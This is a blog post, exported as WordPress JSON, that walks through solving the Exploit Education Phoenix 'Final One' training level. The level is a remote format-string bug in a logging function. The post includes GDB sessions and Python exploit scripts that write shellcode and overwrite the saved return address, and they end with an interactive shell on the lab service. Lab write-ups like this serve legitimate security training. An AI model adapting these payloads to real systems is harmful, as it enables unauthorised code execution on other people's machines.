{"id":820,"date":"2019-09-14T22:38:38","date_gmt":"2019-09-15T02:38:38","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=820"},"modified":"2019-09-14T22:38:38","modified_gmt":"2019-09-15T02:38:38","slug":"exploit-education-phoenix-final-one-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-final-one-solution\/","title":{"rendered":"Exploit Education | Phoenix | Final One Solution"},"content":{"rendered":"<p>Remote format string!<\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/final-one\/\">http:\/\/exploit.education\/phoenix\/final-one\/<\/a><\/p>\n<p>I won&#8217;t be going into any detail about format string vulnerabilities. So if you&#8217;re not familiar with them, check out my solution to the <strong><a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-zero-solution\/\">Format Zero<\/a><\/strong> level for a brief overview.<\/p>\n<p>There&#8217;s a lot more code to this level than the last one. However, format string bugs are usually pretty easy to find, hence the reason you don&#8217;t see them as much anymore. I just look for a call to one of the<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> printf() <\/span>family functions that doesn&#8217;t use a format string while printing something from user input. There&#8217;s only one that meets these requirements, it&#8217;s the last line in the<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> logit() <\/span>function:<\/p>\n<pre class=\"brush: cpp; highlight: [7]; title: ; notranslate\" title=\"\">\r\nvoid logit(char *pw) {\r\n    char buf&#x5B;2048];\r\n\r\n    snprintf(buf, sizeof(buf), &quot;Login from %s as &#x5B;%s] with password &#x5B;%s]\\n&quot;,\r\n        hostname, username, pw);\r\n\r\n    fprintf(output, buf);\r\n}\r\n<\/pre>\n<p><span style=\"font-family: Courier New; color:#64e0e0; background:#001919\">logit() <\/span>is called from<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> parser()<\/span>, which is called from<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> main()<\/span>. The<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> parser() <\/span>function shows that there are 2 possible commands; username &#038; login:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nvoid parser() {\r\n    char line&#x5B;128];\r\n\r\n    printf(&quot;&#x5B;final1] $ &quot;);\r\n\r\n    while (fgets(line, sizeof(line) - 1, stdin)) {\r\n        trim(line);\r\n        if (strncmp(line, &quot;username &quot;, 9) == 0) {\r\n            strcpy(username, line + 9);\r\n        } else if (strncmp(line, &quot;login &quot;, 6) == 0) {\r\n            if (username&#x5B;0] == 0) {\r\n                printf(&quot;invalid protocol\\n&quot;);\r\n            } else {\r\n                logit(line + 6);\r\n                printf(&quot;login failed\\n&quot;);\r\n            }\r\n        }\r\n        printf(&quot;&#x5B;final1] $ &quot;);\r\n    }\r\n}\r\n<\/pre>\n<p>I should be able to exploit the format string vulnerability with either the username or login commands. However, the only way I&#8217;ll be able to see the results is by running the binary directly and using the &#8220;<span style=\"font-family: Courier New\">&dash;&dash;test<\/span>&#8221; argument:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:\/opt\/phoenix\/i486$ .\/final-one --test\r\nWelcome to phoenix\/final-one, brought to you by https:\/\/exploit.education\r\n&#x5B;final1] $ username %x.%x.%x\r\n&#x5B;final1] $ login %x.%x.%x\r\nLogin from testing:12121 as &#x5B;0.0.69676f4c] with password &#x5B;7266206e.74206d6f.69747365]\r\nlogin failed\r\n<\/pre>\n<p>It&#8217;s definitely vulnerable. I&#8217;m going to try using the &#8220;<span style=\"font-family: Courier New\">username<\/span>&#8221; command to place the pointers and the &#8220;<span style=\"font-family: Courier New\">login<\/span>&#8221; command for the multiple <span style=\"font-family:Courier New;font-weight:bold\">%x<\/span> and <span style=\"font-family:Courier New;font-weight:bold\">%n<\/span> format specifiers. First, I&#8217;ll need to play around with it to figure out how many <span style=\"font-family:Courier New;font-weight:bold\">%x&#8217;<\/span>s to use before the first <span style=\"font-family:Courier New;font-weight:bold\">%n<\/span>. I&#8217;ll do that locally so I can see the output with the &#8220;<span style=\"font-family: Courier New\">&dash;&dash;test<\/span>&#8221; argument:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:\/opt\/phoenix\/i486$ echo -e &quot;username AAAABBBB\\nlogin %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x&quot; | .\/final-one --test\r\nWelcome to phoenix\/final-one, brought to you by https:\/\/exploit.education\r\n&#x5B;final1] $ &#x5B;final1] $ Login from testing:12121 as &#x5B;AAAABBBB] with password &#x5B;0.0.69676f4c.7266206e.74206d6f.69747365.313a676e.31323132.20736120.4141415b.42424241.77205d42]\r\nlogin failed\r\n&#x5B;final1] $\r\n<\/pre>\n<p>Here, you can see it took 10 <span style=\"font-family:Courier New;font-weight:bold\">%x&#8217;<\/span>s to get to the A&#8217;s. But it doesn&#8217;t line up nicely. The first character of that particular word (4-bytes) is a <span style=\"font-family:Courier New;font-weight:bold\">0x5b<\/span>, the open bracket ([) character. I&#8217;ll need to use three A&#8217;s before the pointer.<\/p>\n<p>From here, I&#8217;ll switch to using the remote process for debugging. I&#8217;ll use GDB to find where the saved return pointer is for the<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> logit() <\/span>function.<\/p>\n<p>Starting the process:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:~$ nc 127.1 64014\r\nWelcome to phoenix\/final-one, brought to you by https:\/\/exploit.education\r\n&#x5B;final1] $\r\n<\/pre>\n<p>Attaching GDB to the process, setting a breakpoint, and continuing:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:~$ sudo -i\r\n&#x5B;sudo] password for user:\r\n\r\nroot@phoenix-amd64:~# ps aux | grep final-one\r\nphoenix+   293  0.6  0.0    736     4 ?        Ss   12:00   0:00 \/opt\/phoenix\/i486\/final-one\r\nroot       316  0.0  0.0   6888   984 pts\/1    S+   12:00   0:00 grep final-one\r\n\r\nroot@phoenix-amd64:~# gdb -q -p 293\r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n78 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nAttaching to process 293\r\n...\r\n\r\ngef\u27a4  disas logit\r\nDump of assembler code for function logit:\r\n   ...\r\n   0x08048827 &lt;+66&gt;:    call   0x80485a0 &lt;fprintf@plt&gt;\r\n   0x0804882c &lt;+71&gt;:    add    esp,0x10\r\n   0x0804882f &lt;+74&gt;:    nop\r\n   0x08048830 &lt;+75&gt;:    leave\r\n   0x08048831 &lt;+76&gt;:    ret\r\nEnd of assembler dump.\r\n\r\ngef\u27a4  b *logit+66\r\nBreakpoint 1 at 0x8048827\r\n\r\ngef\u27a4  c\r\nContinuing.\r\n<\/pre>\n<p>Use the commands in the running program:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:~$ nc 127.1 64014\r\nWelcome to phoenix\/final-one, brought to you by https:\/\/exploit.education\r\n&#x5B;final1] $ username A\r\n&#x5B;final1] $ login B\r\n<\/pre>\n<p>Check the location of the saved return pointer back in GDB:<\/p>\n<pre class=\"brush: plain; highlight: [11]; title: ; notranslate\" title=\"\">\r\nBreakpoint 1, 0x08048827 in logit ()\r\n...\r\n\r\ngef\u27a4  info frame\r\nStack level 0, frame at 0xffffdca0:\r\n eip = 0x8048827 in logit; saved eip = 0x804892c\r\n called by frame at 0xffffdd40\r\n Arglist at 0xffffdc98, args:\r\n Locals at 0xffffdc98, Previous frame's sp is 0xffffdca0\r\n Saved registers:\r\n  ebp at 0xffffdc98, eip at 0xffffdc9c\r\n<\/pre>\n<p>Now that I know the saved return pointer is stored at <span style=\"font-family:Courier New;font-weight:bold\">0xffffdc9c<\/span>, I&#8217;ll start writing an exploit script. First, I just want to make sure I can overwrite the saved return point with <em>something<\/em>. Since the end goal is to execute my own shellcode, I&#8217;ll put the shellcode in there right away so I can see the smallest value the first byte can be.<\/p>\n<pre class=\"brush: python; light: false; title: final-one.py; notranslate\" title=\"final-one.py\">\r\n#!\/usr\/bin\/env python2\r\n\r\nimport struct\r\nimport socket\r\nimport time\r\n\r\nHOST = &quot;127.0.0.1&quot;\r\nPORT = 64014\r\n\r\n# Stored EIP @ 0xffffdc9c\r\nRET = 0xffffdc9c\r\naddress = struct.pack(&quot;I&quot;, RET)\r\n\r\n# http:\/\/shell-storm.org\/shellcode\/files\/shellcode-841.php (21 bytes)\r\nshellcode  = &quot;\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f&quot;\r\nshellcode += &quot;\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80&quot;\r\n\r\npayload  = &quot;&quot;\r\npayload += &quot;username AAA&quot;\r\npayload += address\r\npayload += shellcode\r\npayload += &quot;\\nlogin %x%x%x%x%x%x%x%x%x%x%n&quot;\r\n \r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((HOST, PORT))\r\n\r\nprint s.recv(1024).strip()\r\ntime.sleep(0.1)\r\nprint s.recv(12).strip()\r\nraw_input(&quot;Press Enter to send the payload...&quot;)\r\ns.sendall(payload + &quot;\\n&quot;)\r\n\r\nwhile True:\r\n    print s.recv(1024).strip(),\r\n    s.sendall(raw_input() + &quot;\\n&quot;)\r\n<\/pre>\n<p>I added the <span style=\"font-family:Courier New;color:#64e0e0;background:#001919\">time.sleep(0.1)<\/span> line because without it, the first prompt wouldn&#8217;t show up as expected. Testing it out:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:~$ .\/final-one.py\r\nWelcome to phoenix\/final-one, brought to you by https:\/\/exploit.education\r\n&#x5B;final1] $\r\nPress Enter to send the payload...\r\n<\/pre>\n<p>In another terminal, I attach to the process and set the breakpoint:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@phoenix-amd64:~# ps aux | grep final-one\r\nuser      2013  2.4  0.9  22352  9308 pts\/0    S+   13:05   0:00 python2 .\/final-one.py\r\nphoenix+  2014  0.8  0.0    736     4 ?        Ss   13:05   0:00 \/opt\/phoenix\/i486\/final-one\r\nroot      2016  0.0  0.0   6888   984 pts\/1    S+   13:05   0:00 grep final-one\r\n\r\nroot@phoenix-amd64:~# gdb -q -p 2014\r\n...\r\n\r\ngef\u27a4  b *logit+66\r\nBreakpoint 1 at 0x8048827\r\n\r\ngef\u27a4  c\r\nContinuing.\r\n<\/pre>\n<p>I hit Enter to send the payload on the first terminal and reach the breakpoint in GDB. This is right before the call to<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\"> fprintf()<\/span>, so first I&#8217;ll check the contents of the saved return pointer. After stepping to the next instruction, I should see that changed:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\ngef\u27a4  x 0xffffdc9c\r\n0xffffdc9c:     0x0804892c\r\n\r\ngef\u27a4  n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n0xf7fba4a0 in printf_core () from target:\/opt\/phoenix\/i486-linux-musl\/lib\/ld-musl-i386.so.1\r\n...\r\n\r\ngef\u27a4  x 0xffffdc9c\r\n0xffffdc9c:     0x0804892c\r\n<\/pre>\n<p>Oh crap. A segfault in the<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\"> printf_core() <\/span>function. And the saved return point never got changed. There may be some differences when running the binary locally vs connecting to the remote process. I&#8217;ll try to see what happened:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\ngef\u27a4  x\/i $pc\r\n=&gt; 0xf7fba4a0 &lt;printf_core+1405&gt;:       mov    DWORD PTR &#x5B;eax],edi\r\n\r\ngef\u27a4  p\/x $edi\r\n$1 = 0x8e\r\n\r\ngef\u27a4  p\/x $eax\r\n$2 = 0xdc9c4141\r\n<\/pre>\n<p>I checked the instruction that the segfault happened at and see that it&#8217;s trying to move the value in EDI to the pointer stored in EAX. I looked at EDI and that&#8217;s probably the number of bytes that have been written so far. EAX looks like the pointer it&#8217;s going to write to, though, it&#8217;s only half write. The first half of the expected pointer is there, but the other half is two A&#8217;s. So I&#8217;m thinking, all I need to do is remove two A&#8217;s to fix the problem.<\/p>\n<p>Testing it out again:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@phoenix-amd64:~# ps aux | grep final-one\r\nuser      2208  4.0  0.9  22352  9308 pts\/0    S+   13:44   0:00 python2 .\/final-one.py\r\nphoenix+  2209  1.0  0.0    736     4 ?        Ss   13:44   0:00 \/opt\/phoenix\/i486\/final-one\r\nroot      2211  0.0  0.0   6888   984 pts\/1    S+   13:44   0:00 grep final-one\r\n\r\nroot@phoenix-amd64:~# gdb -q -p 2209\r\n...\r\n\r\ngef\u27a4  b *logit+66\r\nBreakpoint 1 at 0x8048827\r\n\r\ngef\u27a4  c\r\nContinuing.\r\n...\r\n\r\nBreakpoint 1, 0x08048827 in logit ()\r\n...\r\n\r\ngef\u27a4  x 0xffffdc9c\r\n0xffffdc9c:     0x0804892c\r\n\r\ngef\u27a4  n\r\n0x0804882c in logit ()\r\n...\r\n\r\ngef\u27a4  x 0xffffdc9c\r\n0xffffdc9c:     0x0000008c\r\n<\/pre>\n<p>Great success! From here it&#8217;s a simple matter to put any value I want in the saved return address pointer. I&#8217;ll simply need to point it to the start of my shellcode. For a detailed look at how to write an arbitrary value, check out my solution to the <strong><a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-three-solution\/\">Format Three<\/a><\/strong> level.<\/p>\n<p>There was quite a bit of trial-and-error here, especially to get the first byte of the overwritten return address to a specific value. I couldn&#8217;t use the same technique I used in my <strong><a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-four-solution\/\">Format Four<\/a><\/strong> solution (and Format Three) of simply adding a bunch of spaces between the<span style=\"font-family:Courier New;font-weight:bold\"> %n <\/span>specifiers since there wasn&#8217;t enough space in the <strong>buf<\/strong> variable. Anyway, here&#8217;s the final exploit:<\/p>\n<pre class=\"brush: python; light: false; title: final-one.py; notranslate\" title=\"final-one.py\">\r\n#!\/usr\/bin\/env python2\r\n\r\nimport struct\r\nimport socket\r\nimport time\r\n\r\nHOST = &quot;127.0.0.1&quot;\r\nPORT = 64014\r\n\r\n# Stored EIP @ 0xffffdc8c\r\nRET = 0xffffdc8c\r\naddresses  = struct.pack(&quot;I&quot;, RET)\r\naddresses += &quot;AAAA&quot;\r\naddresses += struct.pack(&quot;I&quot;, RET+1)\r\naddresses += &quot;AAAA&quot;\r\naddresses += struct.pack(&quot;I&quot;, RET+2)\r\naddresses += &quot;AAAA&quot;\r\naddresses += struct.pack(&quot;I&quot;, RET+3)\r\n\r\n# http:\/\/shell-storm.org\/shellcode\/files\/shellcode-841.php (21 bytes)\r\nshellcode  = &quot;\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f&quot;\r\nshellcode += &quot;\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80&quot;\r\n\r\n# Target address = 0xffffd4bc\r\nbyte1 = 0xbc\r\nbyte2 = 0xd4\r\nbyte3 = 0xff\r\nbyte4 = 0x1ff\r\n\r\n# Minimum value in first byte: 164 (0xa4)\r\npayload  = &quot;&quot;\r\npayload += &quot;username A&quot;\r\npayload += addresses\r\npayload += shellcode\r\npayload += &quot;\\nlogin &quot;\r\npayload += &quot;%x&quot; * 9\r\npayload += &quot;%0&quot; + str(byte1-156) + &quot;x&quot;\r\npayload += &quot;%n&quot;\r\npayload += &quot;%0&quot; + str(byte2-byte1) + &quot;x&quot;\r\npayload += &quot;%n&quot;\r\npayload += &quot;%0&quot; + str(byte3-byte2) + &quot;x&quot;\r\npayload += &quot;%n&quot;\r\npayload += &quot;%0&quot; + str(byte4-byte3) + &quot;x&quot;\r\npayload += &quot;%n&quot;\r\n \r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((HOST, PORT))\r\n\r\nprint s.recv(1024).strip()\r\ntime.sleep(0.1)\r\nprint s.recv(12).strip()\r\nraw_input(&quot;Press Enter to send the payload...&quot;)\r\ns.sendall(payload + &quot;\\n&quot;)\r\n\r\nprint &quot;Shell now!&quot;\r\nwhile True:\r\n    print s.recv(10024).strip()\r\n    s.sendall(raw_input(&quot;$ &quot;) + &quot;\\n&quot;)\r\n<\/pre>\n<p>Testing it out:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:~$ .\/final-one.py \r\nWelcome to phoenix\/final-one, brought to you by https:\/\/exploit.education\r\n&#x5B;final1] $\r\nPress Enter to send the payload...\r\nShell now!\r\n&#x5B;final1] $\r\n$ id\r\nuid=520(phoenix-i386-final-one) gid=520(phoenix-i386-final-one) groups=520(phoenix-i386-final-one)\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Remote format string! &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-final-one-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Final One Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-820","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/820","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=820"}],"version-history":[{"count":26,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/820\/revisions"}],"predecessor-version":[{"id":846,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/820\/revisions\/846"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=820"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=820"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=820"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}